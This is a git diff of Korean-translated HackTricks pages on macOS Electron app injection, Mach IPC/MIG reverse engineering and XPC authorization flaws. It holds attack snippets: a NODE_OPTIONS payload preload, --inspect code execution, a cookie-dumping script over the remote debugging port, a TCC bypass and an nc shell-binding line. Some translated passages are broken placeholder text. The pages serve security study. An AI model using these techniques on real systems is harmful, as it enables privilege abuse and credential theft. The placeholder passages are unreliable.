만약 fuse **`EnableNodeOptionsEnvironmentVariable`**이 **비활성화**되어 있다면, 앱은 **NODE\_OPTIONS** 환경 변수를 **무시**하게 됩니다. 이는 환경 변수 **`ELECTRON_RUN_AS_NODE`**이 설정되어 있더라도 **무시**될 것입니다. 이때 fuse **`RunAsNode`**가 비활성화되어 있다면 더욱 그렇습니다.
|
||||
|
||||
**`ELECTRON_RUN_AS_NODE`**을 설정하지 않으면, 다음과 같은 **에러**가 발생할 것입니다: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
|
||||
{% endhint %}
|
||||
|
||||
### 앱 Plist로부터의 Injection
|
||||
|
||||
이 환경 변수를 plist에 남아있게 유지하기 위해 이러한 키를 추가할 수 있습니다:
|
||||
이 환경 변수를 plist에 남아있게 유지하기 위해 이러한 키들을 추가할 수 있습니다:
|
||||
```xml
|
||||
<dict>
|
||||
<key>EnvironmentVariables</key>
|
||||
|
@ -168,8 +168,10 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
|||
```
|
||||
## 검사를 통한 RCE
|
||||
|
||||
[**이**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)에 따르면, Electron 애플리케이션을 **`--inspect`**, **`--inspect-brk`**, **`--remote-debugging-port`**와 같은 플래그로 실행하면 **디버그 포트가 열리므로** 해당 포트에 연결할 수 있습니다 (예: Chrome의 `chrome://inspect`에서) 그리고 **코드를 주입**하거나 새로운 프로세스를 시작할 수 있습니다.\
|
||||
[**이**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)에 따르면, Electron 애플리케이션을 **`--inspect`**, **`--inspect-brk`**, **`--remote-debugging-port`**와 같은 플래그로 실행하면 **디버그 포트가 열리므로** 해당 포트에 연결할 수 있습니다 (예: Chrome의 `chrome://inspect`에서). 그리고 **코드를 주입**하거나 새로운 프로세스를 시작할 수 있습니다.\
|
||||
예를 들어:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
|
||||
# Connect to it using chrome://inspect and execute a calculator with:
|
||||
|
@ -178,14 +180,14 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
만약 fuse **`EnableNodeCliInspectArguments`**가 비활성화되어 있다면, 앱은 시작될 때 node 매개변수(예: `--inspect`)를 **무시**하게 됩니다. 이는 환경 변수 **`ELECTRON_RUN_AS_NODE`**가 설정되어 있어도 **무시**될 것이며, 이는 fuse **`RunAsNode`**가 비활성화되어 있는 경우에도 마찬가지입니다.
|
||||
만약 fuse **`EnableNodeCliInspectArguments`**가 비활성화되어 있다면, 앱은 시작될 때 node 매개변수(예: `--inspect`)를 **무시**하게 됩니다. 이는 환경 변수 **`ELECTRON_RUN_AS_NODE`**가 설정되어 있더라도 무시될 것이며, 이 환경 변수 또한 fuse **`RunAsNode`**가 비활성화되어 있다면 **무시**될 것입니다.
|
||||
|
||||
그러나 여전히 **electron 매개변수 `--remote-debugging-port=9229`**를 사용할 수 있지만, 이전 payload는 다른 프로세스를 실행하는 데 사용할 수 없습니다.
|
||||
{% endhint %}
|
||||
|
||||
매개변수 **`--remote-debugging-port=9222`**를 사용하면 Electron 앱에서 **history**(GET 명령어로)나 브라우저의 **쿠키**(브라우저 내에서 **해독**되고 제공되는 **json 엔드포인트**가 있기 때문)와 같은 정보를 도용할 수 있습니다.
|
||||
|
||||
이를 수행하는 방법은 [**여기**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)와 [**여기**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)에서 확인할 수 있으며, 자동 도구 [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) 또는 다음과 같은 간단한 스크립트를 사용할 수 있습니다:
|
||||
이를 수행하는 방법은 [**여기**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)와 [**여기**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)에서 확인할 수 있으며, [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut)와 같은 자동 도구 또는 다음과 같은 간단한 스크립트를 사용할 수 있습니다:
|
||||
```python
|
||||
import websocket
|
||||
ws = websocket.WebSocket()
|
||||
|
@ -214,13 +216,13 @@ print(ws.recv()
|
|||
## 이전 버전 낡은 버전을 악용한 TCC 우회
|
||||
|
||||
{% hint style="success" %}
|
||||
macOS의 TCC 데몬은 실행된 애플리케이션의 버전을 확인하지 않습니다. 따라서 이전 기술로 **일렉트론 애플리케이션에 코드를 삽입할 수 없는 경우** APP의 이전 버전을 다운로드하고 여전히 TCC 권한을 얻을 수 있도록 코드를 삽입할 수 있습니다 (Trust Cache가 방지하지 않는 한).
|
||||
macOS의 TCC 데몬은 실행된 애플리케이션의 버전을 확인하지 않습니다. 따라서 이전 기술 중 어떤 것으로도 **일렉트론 애플리케이션에 코드를 삽입할 수 없는 경우** APP의 이전 버전을 다운로드하고 여전히 TCC 권한을 얻을 수 있도록 코드를 삽입할 수 있습니다 (Trust Cache가 방지하지 않는 한).
|
||||
{% endhint %}
|
||||
|
||||
## JS 코드 실행
|
||||
|
||||
이전 기술을 사용하면 **일렉트론 애플리케이션의 프로세스 내에서 JS 코드를 실행**할 수 있습니다. 그러나 **자식 프로세스는 부모 애플리케이션과 동일한 샌드박스 프로필**에서 실행되며 **그들의 TCC 권한을 상속**합니다.\
|
||||
따라서 카메라 또는 마이크에 액세스하기 위해 권한을 남용하려면 **프로세스에서 다른 이진 파일을 실행**할 수 있습니다.
|
||||
따라서 카메라 또는 마이크에 액세스하기 위해 허가를 남용하려면 **프로세스에서 다른 이진 파일을 실행**할 수 있습니다.
|
||||
|
||||
## 자동 삽입
|
||||
|
||||
|
@ -270,14 +272,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 될 때까지 AWS 해킹을 배우세요**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
다른 HackTricks 지원 방법:
|
||||
|
||||
- **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
MIG는 **Mach IPC 코드 생성 과정을 간소화**하기 위해 만들어졌습니다. 기본적으로 주어진 정의에 따라 서버와 클라이언트가 통신할 수 있도록 **필요한 코드를 생성**합니다. 생성된 코드가 얼마나 추악해 보이더라도, 개발자는 그것을 가져와서 이전보다 훨씬 간단한 코드를 작성할 수 있습니다.
|
||||
MIG는 **Mach IPC 코드 생성 과정을 간소화**하기 위해 만들어졌습니다. 기본적으로 주어진 정의에 따라 서버와 클라이언트가 통신할 수 있도록 **필요한 코드를 생성**합니다. 생성된 코드가 어색해 보이더라도, 개발자는 그것을 가져와서 이전보다 훨씬 간단한 코드를 작성할 수 있습니다.
|
||||
|
||||
### 예시
|
||||
|
||||
|
@ -44,6 +44,9 @@ mig -header myipcUser.h -sheader myipcServer.h myipc.defs
|
|||
현재 디렉토리에 여러 새 파일이 생성됩니다.
|
||||
|
||||
**`myipcServer.c`** 및 **`myipcServer.h`** 파일에는 기본적으로 수신된 메시지 ID에 따라 호출할 함수를 정의하는 **`SERVERPREFmyipc_subsystem`** 구조체의 선언과 정의가 포함되어 있습니다 (시작 번호로 500을 지정했습니다):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipcServer.c" %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
const struct SERVERPREFmyipc_subsystem SERVERPREFmyipc_subsystem = {
|
||||
|
@ -61,7 +64,7 @@ myipc_server_routine,
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipcServer.h" %}서버 코드를 작성합니다. 이 코드는 클라이언트로부터 요청을 받아들이고 적절한 응답을 보내는 역할을 합니다. 이 코드는 MIG 프레임워크를 사용하여 작성되었습니다. 이 코드는 myipc.defs 파일에 정의된 MIG 인터페이스를 구현합니다. 이 코드는 myipcServer.c 파일에 구현되어 있습니다. %}
|
||||
{% tab title="myipcServer.h" %}서버 코드를 작성하는 헤더 파일입니다.{% endtab %}
|
||||
```c
|
||||
/* Description of this subsystem, for use in direct RPC */
|
||||
extern const struct SERVERPREFmyipc_subsystem {
|
||||
|
@ -74,10 +77,7 @@ struct routine_descriptor /* Array of routine descriptors */
|
|||
routine[1];
|
||||
} SERVERPREFmyipc_subsystem;
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
이전 구조를 기반으로 **`myipc_server_routine`** 함수는 **메시지 ID**를 받고 호출할 적절한 함수를 반환합니다:
|
||||
기존 구조를 기반으로 **`myipc_server_routine`** 함수는 **메시지 ID**를 받아 적절한 호출할 함수를 반환합니다:
|
||||
```c
|
||||
mig_external mig_routine_t myipc_server_routine
|
||||
(mach_msg_header_t *InHeadP)
|
||||
|
@ -101,10 +101,9 @@ return SERVERPREFmyipc_subsystem.routine[msgh_id].stub_routine;
|
|||
{ "Subtract", 500 }
|
||||
#endif
|
||||
```
|
||||
**`myipc_server`**은 실제로 수신된 ID에 관련된 함수를 호출하는 함수입니다.
|
||||
마지막으로, 서버가 작동하도록 하는 데 중요한 기능 중 하나는 **`myipc_server`**일 것입니다. 이 함수는 실제로 받은 ID에 관련된 함수를 **호출**할 것입니다:
|
||||
|
||||
```c
|
||||
mig_external boolean_t myipc_server
|
||||
<pre class="language-c"><code class="lang-c">mig_external boolean_t myipc_server
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
{
|
||||
/*
|
||||
|
@ -119,26 +118,26 @@ mig_routine_t routine;
|
|||
|
||||
OutHeadP->msgh_bits = MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);
|
||||
OutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;
|
||||
/* 최소 크기: 다르면 routine()이 업데이트함 */
|
||||
/* 최소 크기: 다르면 routine()이 업데이트할 것 */
|
||||
OutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);
|
||||
OutHeadP->msgh_local_port = MACH_PORT_NULL;
|
||||
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
|
||||
OutHeadP->msgh_reserved = 0;
|
||||
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
||||
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
|
||||
return FALSE;
|
||||
if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
|
||||
<strong> ((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
|
||||
</strong> ((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
|
||||
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
|
||||
return FALSE;
|
||||
}
|
||||
(*routine) (InHeadP, OutHeadP);
|
||||
return TRUE;
|
||||
<strong> (*routine) (InHeadP, OutHeadP);
|
||||
</strong> return TRUE;
|
||||
}
|
||||
```
|
||||
</code></pre>
|
||||
|
||||
ID에 따라 호출할 함수에 액세스하는 이전에 강조된 줄을 확인하십시오.
|
||||
이전에 강조된 줄을 확인하여 ID별로 호출할 함수에 액세스합니다.
|
||||
|
||||
다음은 서버와 클라이언트를 만드는 코드이며, 클라이언트는 서버에서 함수를 호출할 수 있습니다:
|
||||
다음은 서버와 클라이언트를 만들기 위한 코드이며, 클라이언트는 서버에서 함수를 호출할 수 있습니다. Subtract:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server.c" %}
|
||||
|
@ -174,7 +173,7 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="myipc_client.c" %}클라이언트 코드는 서버와 통신하기 위해 IPC를 사용합니다. 클라이언트는 서버에 요청을 보내고 응답을 받습니다. 이 코드는 MIG 인터페이스를 사용하여 IPC를 수행합니다. 이를 통해 클라이언트는 서버와 효율적으로 통신할 수 있습니다. 코드는 요청을 보내는 함수와 응답을 처리하는 함수로 구성됩니다.{% endtab %}
|
||||
{% tab title="myipc_client.c" %}번역된 텍스트가 여기에 들어갑니다.
|
||||
```c
|
||||
// gcc myipc_client.c myipcUser.c -o myipc_client
|
||||
|
||||
|
@ -201,13 +200,13 @@ USERPREFSubtract(port, 40, 2);
|
|||
```
|
||||
### 이진 분석
|
||||
|
||||
많은 이진 파일이 이제 MIG를 사용하여 mach 포트를 노출하므로, **MIG가 사용된 것을 식별하는 방법**과 각 메시지 ID별로 **MIG가 실행하는 함수**를 알아내는 것이 흥미로울 것입니다.
|
||||
많은 이진 파일이 이제 MIG를 사용하여 mach 포트를 노출시키기 때문에, **MIG가 사용되었는지를 식별**하고 각 메시지 ID별로 **MIG가 실행하는 함수**를 알아내는 것이 흥미로울 것입니다.
|
||||
|
||||
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)는 Mach-O 이진 파일에서 MIG 정보를 구문 분석하여 메시지 ID를 나타내고 실행할 함수를 식별할 수 있습니다:
|
||||
```bash
|
||||
jtool2 -d __DATA.__const myipc_server | grep MIG
|
||||
```
|
||||
이전에 **수신된 메시지 ID에 따라 올바른 함수를 호출하는 함수**는 `myipc_server`라고 언급되었습니다. 그러나 일반적으로 이진 파일의 심볼(함수 이름 없음)을 가지고 있지 않으므로, **디컴파일된 내용을 확인하는 것이 흥미로울 것**입니다. 이 함수의 코드는 항상 매우 유사할 것입니다(이 함수의 코드는 노출된 함수와 독립적입니다):
|
||||
이전에 **수신된 메시지 ID에 따라 올바른 함수를 호출하는 함수**는 `myipc_server`라고 언급되었습니다. 그러나 일반적으로 이진 파일의 심볼(함수 이름 없음)을 가지고 있지 않으므로, **디컴파일된 모습을 확인하는 것이 흥미로울 것**입니다. 이 함수의 코드는 항상 매우 유사할 것입니다(이 함수의 코드는 노출된 함수와 독립적입니다):
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="myipc_server 디컴파일 1" %}
|
||||
|
@ -224,12 +223,12 @@ var_18 = arg1;
|
|||
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
|
||||
rax = *(int32_t *)(var_10 + 0x14);
|
||||
// 이 함수를 식별하는 데 도움이 되는 sign_extend_64 호출
|
||||
// 이는 호출해야 하는 호출 지점의 포인터를 rax에 저장합니다
|
||||
// 이는 호출해야 할 호출 포인터를 rax에 저장합니다
|
||||
// 주소 0x100004040(함수 주소 배열)의 사용 확인
|
||||
// 0x1f4 = 500(시작 ID)
|
||||
<strong> rax = *(sign_extend_64(rax - 0x1f4) * 0x28 + 0x100004040);
|
||||
</strong> var_20 = rax;
|
||||
// if - else, if가 false를 반환하고 else가 올바른 함수를 호출하고 true를 반환합니다
|
||||
// If - else, if는 false를 반환하고 else는 올바른 함수를 호출하고 true를 반환합니다
|
||||
<strong> if (rax == 0x0) {
|
||||
</strong> *(var_18 + 0x18) = **_NDR_record;
|
||||
*(int32_t *)(var_18 + 0x20) = 0xfffffffffffffed1;
|
||||
|
@ -304,7 +303,7 @@ r8 = 0x1;
|
|||
var_4 = 0x0;
|
||||
}
|
||||
else {
|
||||
// 함수가 있는 위치로 호출하는 계산된 주소 호출
|
||||
// 함수가 있어야 하는 계산된 주소 호출
|
||||
<strong> (var_20)(var_10, var_18);
|
||||
</strong> var_4 = 0x1;
|
||||
}
|
||||
|
@ -328,22 +327,14 @@ return r0;
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
실제로 **`0x100004000` 함수**로 이동하면 **`routine_descriptor`** 구조체 배열을 찾을 수 있습니다. 구조체의 첫 번째 요소는 **함수가 구현된 주소**이며, **구조체는 0x28 바이트**를 차지하므로 각 0x28 바이트(바이트 0부터 시작)에서 8 바이트를 얻을 수 있고, 그것이 **호출될 함수의 주소**가 됩니다:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
실제로 **`0x100004000` 함수**로 이동하면 **`routine_descriptor`** 구조체 배열을 찾을 수 있습니다. 구조체의 첫 번째 요소는 **함수가 구현된 주소**이며 **구조체는 0x28 바이트**를 차지하므로 각 0x28 바이트(바이트 0부터 시작)에서 8바이트를 얻을 수 있고 이것이 **호출될 함수의 주소**가 됩니다:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
이 데이터는 [**이 Hopper 스크립트를 사용하여**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py) 추출할 수 있습니다.
|
||||
* **다음 Discord 그룹에 가입** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) **하거나** [**텔레그램 그룹**](https://t.me/peass) **에 가입하거나** **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) **를 팔로우하세요**.
|
||||
* **해킹 기법을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 PR을 제출하세요**.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 AWS 해킹을 전문가로 학습**하세요!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왑**](https://peass.creator-spring.com)을 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **다음 중 하나에 가입하세요** 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass) 또는 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **해킹 기법을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 PR을 제출하세요.**
|
||||
</details>
|
||||
|
|
|
@ -2,27 +2,27 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로**부터 **히어로**로 **AWS 해킹**을 배우세요!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅이 되는 AWS 해킹을 배우세요**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
HackTricks를 지원하는 다른 방법들:
|
||||
|
||||
- **회사를 HackTricks에서 광고**하거나 **HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## XPC 권한 부여
|
||||
|
||||
Apple은 **연결된 프로세스가 노출된 XPC 메서드를 호출할 권한이 있는지 인증하는 또 다른 방법**을 제안합니다.
|
||||
애플은 **연결된 프로세스가 노출된 XPC 메서드를 호출할 권한이 있는지 인증하는 또 다른 방법**을 제안합니다.
|
||||
|
||||
응용 프로그램이 **특권 사용자로서 작업을 실행해야 하는 경우**, 특권 사용자로서 응용 프로그램을 실행하는 대신, 일반적으로 XPC 서비스로 HelperTool을 루트로 설치하여 응용 프로그램에서 해당 작업을 수행할 수 있도록 호출할 수 있습니다. 그러나 서비스를 호출하는 응용 프로그램은 충분한 권한을 가져야 합니다.
|
||||
응용 프로그램이 **특권 사용자로서 작업을 실행해야 하는 경우**, 특권 사용자로서 응용 프로그램을 실행하는 대신, 일반적으로 XPC 서비스로 HelperTool을 루트로 설치하여 응용 프로그램에서 해당 작업을 수행할 수 있습니다. 그러나 서비스를 호출하는 응용 프로그램은 충분한 권한을 가져야 합니다.
|
||||
|
||||
### ShouldAcceptNewConnection 항상 YES
|
||||
|
||||
[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample)에서 예제를 찾을 수 있습니다. `App/AppDelegate.m`에서 **HelperTool**에 **연결**을 시도합니다. 그리고 `HelperTool/HelperTool.m`에서 **`shouldAcceptNewConnection`** 함수는 이전에 지정된 요구 사항을 확인하지 않습니다. 항상 YES를 반환합니다.
|
||||
[EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample)에서 예제를 찾을 수 있습니다. `App/AppDelegate.m`에서 **HelperTool**에 **연결을 시도**합니다. 그리고 `HelperTool/HelperTool.m`에서 **`shouldAcceptNewConnection`** 함수는 이전에 지정된 요구 사항을 확인하지 않습니다. 항상 YES를 반환합니다:
|
||||
```objectivec
|
||||
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||
|
@ -39,18 +39,18 @@ newConnection.exportedObject = self;
|
|||
return YES;
|
||||
}
|
||||
```
|
||||
더 많은 정보를 얻으려면이 확인을 올바르게 구성하는 방법에 대해 확인하십시오:
|
||||
더 자세한 정보를 얻으려면이 확인을 올바르게 구성하는 방법에 대해 알아보세요:
|
||||
|
||||
{% content-ref url="macos-xpc-connecting-process-check/" %}
|
||||
[macos-xpc-connecting-process-check](macos-xpc-connecting-process-check/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 애플리케이션 권한
|
||||
### 어플리케이션 권한
|
||||
|
||||
그러나 **HelperTool에서 메소드를 호출할 때 권한이 부여**됩니다.
|
||||
|
||||
`App/AppDelegate.m`의 **`applicationDidFinishLaunching`** 함수는 앱이 시작된 후에 빈 권한 참조를 만듭니다. 이것은 항상 작동해야합니다.\
|
||||
그런 다음 `setupAuthorizationRights`를 호출하여 해당 권한 참조에 **일부 권한을 추가**하려고 시도합니다:
|
||||
`App/AppDelegate.m`의 **`applicationDidFinishLaunching`** 함수는 앱이 시작된 후에 빈 권한 참조를 만듭니다. 이것은 항상 작동해야 합니다.\
|
||||
그런 다음 `setupAuthorizationRights`를 호출하여 해당 권한 참조에 **일부 권한을 추가**하려고 시도할 것입니다:
|
||||
```objectivec
|
||||
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||
{
|
||||
|
@ -74,7 +74,7 @@ if (self->_authRef) {
|
|||
[self.window makeKeyAndOrderFront:self];
|
||||
}
|
||||
```
|
||||
함수 `setupAuthorizationRights`은 `Common/Common.m`에서 애플리케이션의 권한을 auth 데이터베이스 `/var/db/auth.db`에 저장합니다. 데이터베이스에 아직 없는 권한만 추가됨을 주목하세요:
|
||||
함수 `setupAuthorizationRights`은 `Common/Common.m`에서 애플리케이션의 권한을 auth 데이터베이스 `/var/db/auth.db`에 저장합니다. 데이터베이스에 아직 없는 권한만 추가됨을 주의하세요:
|
||||
```objectivec
|
||||
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||
// See comment in header.
|
||||
|
@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
|
|||
}];
|
||||
}
|
||||
```
|
||||
`enumerateRightsUsingBlock` 함수는 애플리케이션 권한을 가져오는 데 사용되며, 이는 `commandInfo`에서 정의됩니다:
|
||||
기능 `enumerateRightsUsingBlock`은 `commandInfo`에 정의된 애플리케이션 권한을 가져오는 데 사용됩니다:
|
||||
```objectivec
|
||||
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||||
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||||
|
@ -184,15 +184,15 @@ block(authRightName, authRightDefault, authRightDesc);
|
|||
}];
|
||||
}
|
||||
```
|
||||
